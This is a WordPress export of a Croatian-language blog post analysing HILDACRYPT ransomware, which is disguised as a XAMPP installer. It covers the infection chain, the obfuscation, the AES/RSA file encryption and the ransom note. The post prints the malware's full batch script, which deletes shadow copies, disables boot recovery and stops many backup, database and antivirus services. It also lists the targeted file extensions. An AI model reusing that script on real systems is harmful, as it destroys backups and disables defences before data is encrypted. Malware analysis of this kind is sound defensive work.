{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hr\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: novi ransomware napada sustave za izradu sigurnosnih kopija i antivirusna rje\u0161enja","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Pozdrav, Habr! Ponovno govorimo o svje\u017eim verzijama zlonamjernog softvera iz kategorije Ransomware. HILDACRYPT je novi ransomware, predstavnik obitelji Hilda otkrivene u kolovozu 2019. godine, nazvane po animiranom filmu streaming servisa Netflix koji je kori\u0161ten za \u0161irenje softvera. Danas se upoznajemo s tehni\u010dkim karakteristikama rada ovog a\u017euriranog virusa.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nU prvoj verziji ransomwarea Hilda veza na trailer animirane serije bila je sadr\u017eana u e-mailu o otkupu. HILDACRYPT se maskira kao legitiman instalacijski program XAMPP \u2014 jednostavna distribucija Apachea koja uklju\u010duje MariaDB, PHP i Perl. Osim toga, ime datoteke ransomwarea je druga\u010dije \u2014 xamp. Uz to, datoteka programa nemaje elektroni\u010dki potpis.<\/a><\/noindex> Ransomware se nalazi u PE32 .NET datoteci napisanoj za MS Windows. Njegova veli\u010dina iznosi 135 168 bajtova. Kako glavni programski kod, tako i kod za\u0161titnog programa napisani su u C#. Prema oznaci datuma i vremena kompilacije, binarna datoteka je stvorena 14. rujna 2019.<\/p>\n

Stati\u010dka analiza<\/h3>\n

\nPrema podacima Detect It Easy, ransomware je arhiviran pomo\u0107u Confuser i ConfuserEx, no ti obfuskatore su isti kao prije; samo je ConfuserEx nasljednik Confusera, tako da su potpisi njihovih kodova sli\u010dni.<\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT je doista zapakiran pomo\u0107u ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a <\/p>\n

\"HILDACRYPT:
\n
\nVektor napada<\/p>\n

Ransomware je vjerojatno otkriven na jednoj od web stranica posve\u0107enih web programiranju, maskiraju\u0107i se kao legitiman program XAMPP.<\/h3>\n

\nCijeli lanac infekcije mo\u017ee se vidjeti u<\/p>\n

app.any.run sandbox Obfuskacija<\/a><\/noindex>.<\/p>\n

Nizovi ransomwarea pohranjuju se u \u0161ifriranom obliku. Kada se pokrene HILDACRYPT, de\u0161ifrira ih pomo\u0107u Base64 i AES-256-CBC. <\/h3>\n

\nPrije svega, ransomware kreira u %AppDataRoaming% mapu s GUID (Globally Unique Identifier) parametrom koji se nasumi\u010dno generira. Dodaju\u0107i ovaj polo\u017eaj bat-datoteku, ransomware je pokre\u0107e pomo\u0107u cmd.exe:<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Instalacija<\/h3>\n

\ncmd.exe \/c JKfgkgj3hjgfhjka.bat & exit<\/p>\n

Nakon toga, zapo\u010dinje izvr\u0161avanje paketnog skripta kako bi onemogu\u0107io sistemske funkcije ili usluge.
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nSkripta sadr\u017ei dug popis naredbi s kojima se uni\u0161tavaju sjene kopije, onemogu\u0107ava SQL poslu\u017eitelj, rezervno kopiranje i antivirusna rje\u0161enja.<\/p>\n

\"HILDACRYPT:
\n
\nSkripta sadr\u017ei duga\u010dak popis naredbi koje uni\u0161tavaju sjene kopije, deaktiviraju SQL server, backup i antivirusna rje\u0161enja.<\/p>\n

Na primjer, ne uspijeva zaustaviti usluge sigurnosnog kopiranja Acronis Backup. Osim toga, napada sustave sigurnosnog kopiranja i antivirusna rje\u0161enja sljede\u0107ih dobavlja\u010da: Veeam, Sophos, Kaspersky, McAfee i drugih.<\/p>\n

@echo off\n:: Ne volim ba\u0161 ponije, crtani likovi su bolji, zar ne mislite?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\net stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nNakon \u0161to su gornje navedene usluge i procesi onemogu\u0107eni, kriptolocker prikuplja informacije o svim aktivnim procesima koriste\u0107i naredbu tasklist, kako bi se osiguralo da su sve potrebne usluge isklju\u010dene. 
\ntasklist v \/fo csv<\/i><\/p>\n
Ova naredba generira detaljan popis aktivnih procesa, \u010diji su elementi odvojeni zarezom. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,\u00bb\/\u00bb,\u00ab0:00:03\u00bb,\u00bb\/\u00bb\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nNakon ove provjere, ransomware zapo\u010dinje proces \u0161ifriranja. <\/p>\n
Enkripcija 
\n<\/h3>\n
\u0160ifriranje datoteka<\/h4>\n
\nHILDACRYPT prolazi kroz cijeli prona\u0111eni sadr\u017eaj tvr\u0111ih diskova, osim mapa Recycle.Bin i Reference AssembliesMicrosoft. U potonjoj se nalaze kriti\u010dno va\u017eni datoteke dll, pdb i drugi za aplikacije .Net, koji mogu utjecati na rad programa za otkidanje. Za pronala\u017eenje datoteka koje \u0107e biti \u0161ifrirane koristi se slijede\u0107i popis pro\u0161irenja:<\/p>\n
\u00ab.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md\u00bb
\n<\/i>
\nZa \u0161ifriranje korisni\u010dkih datoteka, ransomware koristi AES-256-CBC algoritam. Veli\u010dina klju\u010da iznosi 256 bitova, a veli\u010dina inicijalizacijskog vektora (IV) iznosi 16 bajtova. <\/p>\n
\"HILDACRYPT:
\n
\nNa sljede\u0107em zaslonu su vrijednosti byte_2 i byte_1 slu\u010dajno generirane pomo\u0107u GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nKlju\u010d<\/p>\n
\"HILDACRYPT:
\n
\nBI<\/p>\n
\"HILDACRYPT:
\n
\nZasifrirana datoteka ima ekstenziju HCY!.. Ovo je primjer zasifrirane datoteke. Za ovu datoteku su stvoreni klju\u010d i IV, koji su spomenuti ranije. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
\u0160ifriranje klju\u010deva<\/h4>\n
\nKryptolocker pohranjuje generirani AES klju\u010d u zasifriranoj datoteci. Prvi dio zasifrirane datoteke sadr\u017ei zaglavlje koje sadr\u017ei podatke poput HILDACRYPT, KEY, IV, FileLen u XML formatu i izgleda ovako:<\/p>\n
\"HILDACRYPT:
\n
\n\u0160ifriranje AES klju\u010da i IV vr\u0161i se pomo\u0107u RSA-2048, a kodiranje pomo\u0107u Base64. Javni RSA klju\u010d pohranjuje se u tijelu kryptolockera u jednoj od zasifriranih linija u XML formatu.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Za \u0161ifriranje AES klju\u010da datoteke koristi se javni RSA klju\u010d. Javni RSA klju\u010d kodiran je pomo\u0107u Base64 i sastoji se od modula i javne eksponentne vrijednosti 65537. Za de\u0161ifriranje je potreban privatni RSA klju\u010d, koji posjeduje napada\u010d.<\/p>\n
Nakon RSA \u0161ifriranja, AES klju\u010d se kodira pomo\u0107u Base64, pohranjen u zasifriranoj datoteci.<\/p>\n
Poruka o otkupu<\/h3>\n
\nNakon zavr\u0161etka \u0161ifriranja, HILDACRYPT zapisuje html datoteku u onaj direktorij u kojem je zasifrirane datoteke. Obavijest programa za otkupninu sadr\u017ei dvije adrese e-po\u0161te na koje \u017ertva mo\u017ee kontaktirati napada\u010da.<\/p>\n